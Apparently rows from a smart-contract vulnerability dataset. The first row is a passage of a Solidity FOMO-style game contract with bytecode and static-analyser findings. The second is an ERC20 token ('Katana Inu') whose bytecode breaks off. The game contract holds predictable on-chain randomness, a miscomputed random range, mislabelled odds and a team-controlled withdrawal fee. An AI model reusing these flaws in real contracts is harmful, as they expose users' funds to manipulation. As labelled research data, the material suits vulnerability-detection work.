airdropped = false;
airdroppedAmount = 0;
uint randNum = 0;
if(amount >= 1e17 && amount < 1e18) {
// 0.1 ~ 1 eth, 1% chance
randNum = rand(1, 10000);
if(randNum <= 10) airdropped = true;
} else if(amount >= 1e18 && amount < 1e19) {
// 1 eth ~ 10 eth, 10% chance
randNum = rand(1, 10000);
if(randNum <= 100) airdropped = true;
} else if(amount >= 1e19) {
// greater than 1 eth, 5% chance
randNum = rand(1, 10000);
if(randNum <= 500) airdropped = true;
}
bool _phaseChanged = false;
if(airdropped) {
airdropWinTime = now;
players[msg.sender].balance += airdropBalance;
players[msg.sender].airdropBonus += airdropBalance;
poolReward += airdropBalance;
airdroppedAmount = airdropBalance;
airdropBalance = 0;
if(durationPhaseIndex == 0 && airdropBalance >= 1e18) _phaseChanged = true;
else if(durationPhaseIndex == 1 && airdropBalance >= 2e18) _phaseChanged = true;
else if(durationPhaseIndex == 2 && airdropBalance >= 3e18) _phaseChanged = true;
else if(durationPhaseIndex == 3 && airdropBalance >= 5e18) _phaseChanged = true;
else if(durationPhaseIndex == 4 && airdropBalance >= 7e18) _phaseChanged = true;
else if(durationPhaseIndex == 5 && airdropBalance >= 1e19) _phaseChanged = true;
if(_phaseChanged) {
durationPhaseIndex ++;
duration = durationPhaseArray[durationPhaseIndex];
deadline = now + duration * 1 minutes;
}
}
// Staking weight calculation
uint256 weight = amount.mul(1e7).div(keyPrice);
players[msg.sender].weight += weight;
uint256 originalPoolSegment = poolWeight / ((5e5).mul(1e7));
poolWeight += weight;
uint256 afterPoolSegment = poolWeight / ((5e5).mul(1e7));
// Different Segment => giveout potReserve, every 1e5 keys
potReserve += amount * 1 / 100;
bool _potReserveGive = false;
uint256 _potReserve = potReserve;
if(originalPoolSegment != afterPoolSegment) {
_potReserveGive = true;
players[msg.sender].balance += potReserve;
players[msg.sender].potBonus += potReserve;
poolReward += potReserve;
potReserve = 0;
}
// Grow key price
if(keyPrice < keyPrice_max) {
keyPrice = keyPrice_max - (1e23 - poolBalance).mul(keyPrice_max - keyPrice_min).div(1e23);
} else {
keyPrice = keyPrice_max;
}
keyLocked = false;
emit Deposit(
msg.sender,
weight,
keyPrice,
deadline,
durationPhaseIndex,
_phaseChanged,
poolBalance,
poolReward,
poolWeight,
airdropped,
airdropBalance,
_potReserveGive,
_potReserve
);
}
uint256 nonce = 0;
function rand(uint min, uint max) private returns (uint){
nonce++;
return uint(keccak256(toBytes(nonce)))%(min+max)-min;
}
function toBytes(uint256 x) private pure returns (bytes b) {
b = new bytes(32);
assembly { mstore(add(b, 32), x) }
}
/**
* Withdraw the funds
*/
function safeWithdrawal() isHuman() public {
uint256 availableWithdrawal = players[msg.sender].balance - players[msg.sender].withdrawal;
require(availableWithdrawal > 0);
require(keyLocked == false);
keyLocked = true;
poolWithdraw += availableWithdrawal;
players[msg.sender].withdrawal += availableWithdrawal;
msg.sender.transfer(availableWithdrawal);
keyLocked = false;
emit Withdrawal(msg.sender, availableWithdrawal);
}
function helpWithdrawal(address userAddress) isHuman() public {
// Will only be executed when user himself cannot withdraw and asks our team for help
require(msg.sender == teamAddress);
uint256 availableWithdrawal = players[userAddress].balance - players[userAddress].withdrawal;
require(availableWithdrawal > 0);
require(keyLocked == false);
keyLocked = true;
poolWithdraw += availableWithdrawal;
players[userAddress].withdrawal += availableWithdrawal;
// Service fee: 5%
players[teamAddress].balance += availableWithdrawal * 5 / 100;
// User get 95%
userAddress.transfer(availableWithdrawal * 95 / 100);
keyLocked = false;
emit Withdrawal(userAddress, availableWithdrawal);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
|
0x60806040526004361061018a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305cb177a81146101e45780630b6c9ac7146101f15780630fb5a6b41461021857806310e569731461022d57806319cc02aa146102425780631c75f0851461026b5780631cbeae5e1461029c57806329dcb0cf146102b45780632a8a8ebb146102c957806335c1d349146102de5780634158506a146102f657806356997fb41461030b5780638827a985146103205780638ddb428a146103355780638f9de9e61461034a5780638fc202ae1461036257806391051e061461037757806395f382bc1461038c57806396365d44146103a7578063971fe56b146103bc578063b961b1e0146103d1578063c47f0027146103e6578063c956d49714610432578063df0b52c814610453578063e2eb41ff14610468578063e57053cd1461054e578063e8c2364914610563578063ed953b69146105af578063ee9267d1146105c4578063fd6b7ef8146105d9578063fef10b95146105ee575b600033803b80156101d3576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b3492506101df83610603565b505050005b6101ef600435610fa3565b005b3480156101fd57600080fd5b50610206611057565b60408051918252519081900360200190f35b34801561022457600080fd5b5061020661105d565b34801561023957600080fd5b50610206611063565b34801561024e57600080fd5b50610257611069565b604080519115158252519081900360200190f35b34801561027757600080fd5b50610280611072565b60408051600160a060020a039092168252519081900360200190f35b3480156102a857600080fd5b50610280600435611081565b3480156102c057600080fd5b506102066110a9565b3480156102d557600080fd5b506102066110af565b3480156102ea57600080fd5b506102806004356110b5565b34801561030257600080fd5b506102066110c3565b34801561031757600080fd5b506102066110c9565b34801561032c57600080fd5b506102066110cf565b34801561034157600080fd5b506102066110d5565b34801561035657600080fd5b506102066004356110db565b34801561036e57600080fd5b506102066110fa565b34801561038357600080fd5b50610206611100565b34801561039857600080fd5b506101ef600435602435611106565b3480156103b357600080fd5b50610206611241565b3480156103c857600080fd5b50610206611247565b3480156103dd57600080fd5b5061020661124d565b6040805160206004803580820135601f81018490048402850184019095528484526101ef9436949293602493928401919081908401838280828437509497506112539650505050505050565b34801561043e57600080fd5b506101ef600160a060020a0360043516611410565b34801561045f57600080fd5b5061028061158f565b34801561047457600080fd5b50610489600160a060020a036004351661159e565b604051808d81526020018c81526020018b8152602001806020018a815260200189815260200188815260200187815260200186815260200185815260200184815260200183815260200182810382528b818151815260200191508051906020019080838360005b838110156105085781810151838201526020016104f0565b50505050905090810190601f1680156105355780820380516001836020036101000a031916815260200191505b509d505050505050505050505050505060405180910390f35b34801561055a57600080fd5b50610206611696565b6040805160206004803580820135601f81018490048402850184019095528484526101ef94369492936024939284019190819084018382808284375094975061169c9650505050505050565b3480156105bb57600080fd5b50610257611899565b3480156105d057600080fd5b506102066118a7565b3480156105e557600080fd5b506101ef6118ad565b3480156105fa57600080fd5b506102066119d2565b600080600080600080600080600080600a5442101515610625576106256119d8565b601754610100900460ff161561063a57600080fd5b6017805461ff001916610100179055600d548b10156106c9576040805160e560020a62461bcd02815260206004820152602160248201527f596f75206861766520746f20627579206174206c65617374206f6e65206b657960448201527f2e00000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b601480548c019055600f8054600190810190915560048054918201815560008190527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b909101805473ffffffffffffffffffffffffffffffffffffffff191633179055546006908155601254101561074757601054603c024201600a555b6003805473ffffffffffffffffffffffffffffffffffffffff19163390811790915560009081526020819052604090206002015415156107e557600780546001810182557fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68801805473ffffffffffffffffffffffffffffffffffffffff19163390811790915590546008819055600091825260208290526040909120555b600e54336000908152602081905260409020600201541461082157600e5433600090815260208190526040812060028101929092556004909101555b6000995060009850600060135411156108eb576013546064603a8d020481151561084757fe5b04601b55600099505b6007548a10156108eb57600780548b90811061086857fe5b6000918252602080832090910154600e54600160a060020a039091168084529183905260409092206002015490995014156108e057601b8054600160a060020a038a16600090815260208190526040902060048101546005820180549382029093019092559154600a90920180549290910290910190555b600190990198610850565b33600090815260208190526040812060010154111561099e57336000908152602081905260409020600101546007805490916000190190811061092a57fe5b600091825260209091200154600160a060020a031697506064600f8c02600160a060020a038a16600090815260208190526040902060050180549290910490910190556064600f8c02600160a060020a038a1660009081526020819052604090206007018054929091049091019055610ab6565b60006013541115610a59576013546064600f8d02048115156109bc57fe5b049850600099505b6007548a1015610a5457600780548b9081106109dc57fe5b6000918252602080832090910154600e54600160a060020a03909116808452918390526040909220600201549099501415610a4957600160a060020a03881660009081526020819052604090206004810154600582018054918c029182019055600a909101805490910190555b6001909901986109c4565b610ab6565b6064600f8c02600154600160a060020a0316600090815260208190526040902060050180549290910490910190556064600f8c02600154600160a060020a03166000908152602081905260409020600a0180549290910490910190555b601b80548a019055606460048c02600154600160a060020a031660009081526020819052604090206005018054929091049091019055606460048c02600154600160a060020a03166000908152602081905260409020600a0180549290910490910190556064604d8c0260158054929091049091019055606460028c02601980549290910490910190556017805460ff191690556000601a819055965067016345785d8a00008b10801590610b725750670de0b6b3a76400008b105b15610ba157610b846001612710611c96565b9650600a8711610b9c576017805460ff191660011790555b610c23565b670de0b6b3a76400008b10158015610bc05750678ac7230489e800008b105b15610bee57610bd26001612710611c96565b965060648711610b9c576017805460ff19166001179055610c23565b678ac7230489e800008b10610c2357610c0a6001612710611c96565b96506101f48711610c23576017805460ff191660011790555b6017546000965060ff1615610da35742601855601980543360009081526020819052604081206005810180549093019092558254600b909201805490920190915581546015805482019055601a559055601254158015610c8d5750670de0b6b3a764000060195410155b15610c9b5760019550610d69565b6012546001148015610cb75750671bc16d674ec8000060195410155b15610cc55760019550610d69565b6012546002148015610ce157506729a2241af62c000060195410155b15610cef5760019550610d69565b6012546003148015610d0b5750674563918244f4000060195410155b15610d195760019550610d69565b6012546004148015610d355750676124fee993bc000060195410155b15610d435760019550610d69565b6012546005148015610d5f5750678ac7230489e8000060195410155b15610d6957600195505b8515610da3576012805460010190819055601180549091908110610d8957fe5b6000918252602090912001546010819055603c024201600a555b600d54610dc990610dbd8d6298968063ffffffff611d2316565b9063ffffffff611d4c16565b3360009081526020819052604090206004018054820190559450610df96207a1206298968063ffffffff611d2316565b601354811515610e0557fe5b6013805488019055049350610e266207a1206298968063ffffffff611d2316565b601354811515610e3257fe5b601c805460648f0401908190559190049350600092509050838314610e9157601c805433600090815260208190526040812060058101805490930190925582546009909201805490920190915581546015805490910190559055600191505b600c54600d541015610ede57610ed269152d02c7e14af6800000610dbd600b54600c540360145469152d02c7e14af680000003611d2390919063ffffffff16565b600c5403600d55610ee5565b600c54600d555b6017805461ff00198116909155600d54600a54601254601454601554601354601954604080518e815260208101989098528781019690965260608701949094528c1515608087015260a086019290925260c085015260e084015260ff90931615156101008301526101208201929092528315156101408201526101608101839052905133917f29857ab2d695934b23e6132c8216a962292942cbf04b0255e661701a97b4f25991908190036101800190a25050505050505050505050565b600033803b8015610fec576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b600754841115610ffb57600093505b33600090815260208190526040902054841480159061102a575033600090815260208190526040902060010154155b15611045573360009081526020819052604090206001018490555b34925061105183610603565b50505050565b601a5481565b60105481565b600d5481565b60175460ff1681565b600154600160a060020a031681565b600980548290811061108f57fe5b600091825260209091200154600160a060020a0316905081565b600a5481565b601b5481565b600780548290811061108f57fe5b60085481565b601c5481565b60125481565b600e5481565b60118054829081106110e957fe5b600091825260209091200154905081565b600f5481565b60165481565b60008033803b8015611150576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b601754610100900460ff161561116557600080fd5b6017805461ff001916610100179055600d543360009081526020819052604090206006810154600590910154918802955090039250828411156111a757600080fd5b600084116111b457600080fd5b3360009081526020819052604090206006018054850190556007548511156111db57600094505b33600090815260208190526040902054851480159061120a575033600090815260208190526040902060010154155b15611225573360009081526020819052604090206001018590555b6017805461ff001916905561123984610603565b505050505050565b60145481565b60135481565b60025481565b600033803b801561129c576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b34925066038d7ea4c680008310156112b357600080fd5b6000600160a060020a0316601d856040518082805190602001908083835b602083106112f05780518252601f1990920191602091820191016112d1565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316929092149150611336905057600080fd5b600154600160a060020a03166000908152602081815260408083206005018054870190556002805487019055338352909120855161137d9260039290920191870190611d8c565b5033601d856040518082805190602001908083835b602083106113b15780518252601f199092019160209182019101611392565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039490941693909317909255505050505050565b600033803b8015611459576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b600154600160a060020a0316331461147057600080fd5b600160a060020a0384166000908152602081905260408120600681015460059091015403935083116114a157600080fd5b601754610100900460ff16156114b657600080fd5b6017805461010061ff00199091161790556016805484019055600160a060020a03848116600081815260208190526040808220600601805488019055600154909316815282812060059081018054606492890283900401905592519192605f87020480156108fc02929091818181858888f1935050505015801561153e573d6000803e3d6000fd5b506017805461ff0019169055604080518481529051600160a060020a038616917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a250505050565b600354600160a060020a031681565b6000602052806000526040600020600091509050806000015490806001015490806002015490806003018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561165c5780601f106116315761010080835404028352916020019161165c565b820191906000526020600020905b81548152906001019060200180831161163f57829003601f168201915b50505050509080600401549080600501549080600601549080600701549080600801549080600901549080600a01549080600b015490508c565b60185481565b600033803b80156116e5576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b6000600160a060020a0316601d856040518082805190602001908083835b602083106117225780518252601f199092019160209182019101611703565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a0316929092148015925090506117e0575033600160a060020a0316601d856040518082805190602001908083835b602083106117a25780518252601f199092019160209182019101611783565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a031692909214159150505b80156117fc575033600090815260208190526040902060010154155b1561104557600080601d866040518082805190602001908083835b602083106118365780518252601f199092019160209182019101611817565b51815160209384036101000a60001901801990921691161790529201948552506040805194859003820190942054600160a060020a0316855284810195909552505090810160009081205433825292819052206001015534925061105183610603565b601754610100900460ff1681565b60195481565b600033803b80156118f6576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611e28833981519152604482015290519081900360640190fd5b3360009081526020819052604081206006810154600590910154039350831161191e57600080fd5b601754610100900460ff161561193357600080fd5b6017805461ff0019166101001790556016805484019055336000818152602081905260408082206006018054870190555185156108fc0291869190818181858888f1935050505015801561198b573d6000803e3d6000fd5b506017805461ff001916905560408051848152905133917f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65919081900360200190a2505050565b60155481565b600e54600090819015611bed576000601b8190556014805460038054600160a060020a03908116855260208590526040808620600590810180546064604b97849004880281900490910190915595549354909216865285206008018054928290049093029390930401905554600654031115611b1b57611a5f600554600101600654611c96565b905060646005601454811515611a7157fe5b04600f02811515611a7e57fe5b04600080600460018503815481101515611a9457fe5b600091825260208083209190910154600160a060020a0316835282019290925260400190206005908101805492909201909155601454606491600f91040204600080600460018503815481101515611ae857fe5b6000918252602080832090910154600160a060020a03168352820192909252604001902060080180549091019055611b76565b6014805460038054600160a060020a03908116600090815260208190526040808220600590810180546064600f9884900489028190049091019091559654945490931682529020600801805491909204909202929092040190555b601c5460145460649060059004600a02600354600980546001810182556000919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055040191909101905b4260185566038d7ea4c68000600d55600060138190556015819055601c8190556012819055601180549091908110611c2157fe5b6000918252602082200154601081905542603c90910201600a55601492909255506017805461ff0019169055600f55600e80546001908101909155546003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790556004546005819055600655565b601e805460010190819055600090839083820190611cb390611d61565b6040518082805190602001908083835b60208310611ce25780518252601f199092019160209182019101611cc3565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912092505050811515611d1857fe5b060390505b92915050565b6000821515611d3457506000611d1d565b50818102818382811515611d4457fe5b0414611d1d57fe5b60008183811515611d5957fe5b049392505050565b6040805160208082528183019092526060918082016104008038833950505060208101929092525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611dcd57805160ff1916838001178555611dfa565b82800160010185558215611dfa579182015b82811115611dfa578251825591602001919060010190611ddf565b50611e06929150611e0a565b5090565b611e2491905b80821115611e065760008155600101611e10565b905600736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a72305820f5eea7db884f36dfde17f9d1587d05d3048fb44eb448c0233175c9016caf26d80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,405 |
0x2e85ae1C47602f7927bCabc2Ff99C40aA222aE15
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract KATA {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant _totalSupply = 50 * (10 ** 9) * (10 ** 18); // 50 Billion
string private constant _name = "Katana Inu";
string private constant _symbol = "KATA";
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(address[] memory addrs, uint256[] memory tokens) {
uint256 totalTokens = 0;
for (uint256 i = 0; i < addrs.length; i++) {
totalTokens += tokens[i];
require(addrs[i] != address(0), "addrs must contain valid addresses");
_balances[addrs[i]] = tokens[i];
emit Transfer(address(0), addrs[i], tokens[i]);
}
require(totalTokens == _totalSupply, "total tokens must be totalSupply");
}
/**
* @dev Returns the name of the token.
*/
function name() public pure returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public pure returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public pure returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, msg.sender, currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(msg.sender, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100c6576000357c010000000000000000000000000000000000000000000000000000000090048063395093511161008e578063395093511461018557806370a08231146101b557806395d89b41146101e5578063a457c2d714610203578063a9059cbb14610233578063dd62ed3e14610263576100c6565b806306fdde03146100cb578063095ea7b3146100e957806318160ddd1461011957806323b872dd14610137578063313ce56714610167575b600080fd5b6100d3610293565b6040516100e09190610f27565b60405180910390f35b61010360048036038101906100fe9190610ba0565b6102d0565b6040516101109190610f0c565b60405180910390f35b6101216102e7565b60405161012e9190611029565b60405180910390f35b610151600480360381019061014c9190610b51565b6102fb565b60405161015e9190610f0c565b60405180910390f35b61016f6103e5565b60405161017c9190611044565b60405180910390f35b61019f600480360381019061019a9190610ba0565b6103ee565b6040516101ac9190610f0c565b60405180910390f35b6101cf60048036038101906101ca9190610aec565b61048c565b6040516101dc9190611029565b60405180910390f35b6101ed6104d4565b6040516101fa9190610f27565b60405180910390f35b61021d60048036038101906102189190610ba0565b610511565b60405161022a9190610f0c565b60405180910390f35b61024d60048036038101906102489190610ba0565b6105ee565b60405161025a9190610f0c565b60405180910390f35b61027d60048036038101906102789190610b15565b610605565b60405161028a9190611029565b60405180910390f35b60606040518060400160405280600a81526020017f4b6174616e6120496e7500000000000000000000000000000000000000000000815250905090565b60006102dd33848461068c565b6001905092915050565b60006ba18f07d736b90be550000000905090565b6000610308848484610857565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156103cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c390610fa9565b60405180910390fd5b6103d9853385840361068c565b60019150509392505050565b60006012905090565b6000610482338484600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461047d919061107b565b61068c565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600481526020017f4b41544100000000000000000000000000000000000000000000000000000000815250905090565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105cd90611009565b60405180910390fd5b6105e3338585840361068c565b600191505092915050565b60006105fb338484610857565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156106fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f390610fe9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561076c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076390610f69565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084a9190611029565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be90610fc9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e90610f49565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156109bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b490610f89565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a50919061107b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ab49190611029565b60405180910390a350505050565b600081359050610ad181611199565b92915050565b600081359050610ae6816111b0565b92915050565b600060208284031215610afe57600080fd5b6000610b0c84828501610ac2565b91505092915050565b60008060408385031215610b2857600080fd5b6000610b3685828601610ac2565b9250506020610b4785828601610ac2565b9150509250929050565b600080600060608486031215610b6657600080fd5b6000610b7486828701610ac2565b9350506020610b8586828701610ac2565b9250506040610b9686828701610ad7565b9150509250925092565b60008060408385031215610bb357600080fd5b6000610bc185828601610ac2565b9250506020610bd285828601610ad7565b9150509250929050565b610be5816110e3565b82525050565b6000610bf68261105f565b610c00818561106a565b9350610c10818560208601611126565b610c1981611188565b840191505092915050565b6000610c3160238361106a565b91507f45524332303a207472616e7366657220746